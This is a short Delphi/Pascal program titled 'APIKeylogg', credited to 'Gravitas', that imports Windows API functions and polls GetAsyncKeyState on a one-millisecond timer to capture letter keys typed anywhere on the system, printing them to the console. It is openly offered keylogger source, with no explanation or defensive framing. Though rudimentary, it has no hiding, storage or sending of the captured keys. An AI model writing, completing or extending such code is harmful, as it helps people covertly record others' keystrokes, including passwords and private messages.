{By Gravitas}
program APIKeylogg;
{$APPTYPE CONSOLE}
type
BOOL = LongBool;
WPARAM = Longint;
LPARAM = Longint;
SHORT = Smallint;
HWND = type LongWord;
UINT = LongWord;
TFNTimerProc = Pointer;
DWORD = LongWord;
TPoint = packed record
      X: Longint;
      Y: Longint;
end;
TMSG = packed record
      hwnd: HWND;
      message: UINT;
      wParam: WPARAM;
      lParam: LPARAM;
      time: DWORD;
      pt: TPoint;
end;

function GetAsyncKeyState(vKey: Integer): SHORT; stdcall; external 'user32.dll' name 'GetAsyncKeyState';
function SetTimer(hWnd: HWND; nIDEvent, uElapse: UINT; lpTimerFunc: TFNTimerProc): UINT; stdcall; external 'user32.dll' name 'SetTimer';
procedure Sleep(dwMilliseconds: DWORD); stdcall; external 'kernel32.dll' name 'Sleep';
function GetMessage(var lpMsg: TMsg; hWnd: HWND; wMsgFilterMin, wMsgFilterMax: UINT): BOOL; stdcall; external 'user32.dll' name 'GetMessageA';
function TranslateMessage(const lpMsg: TMsg): BOOL; stdcall; external 'user32.dll' name 'TranslateMessage';
function DispatchMessage(const lpMsg: TMsg): Longint; stdcall; external 'user32.dll' name 'DispatchMessageA';

procedure LoggingKey;
var
X:integer;
begin
for X:=65 to 90 do
      begin
      if GetAsyncKeyState(X)=-32767 then
        Write(Chr(X));
      end;
end;

var
mesg:tmsg;
begin
SetTimer(0, 0, 1, @LoggingKey);
While GetMessage(Mesg,0,0,0) do
     begin
      TranslateMessage(Mesg);
      DispatchMessage(Mesg);
     end;
end.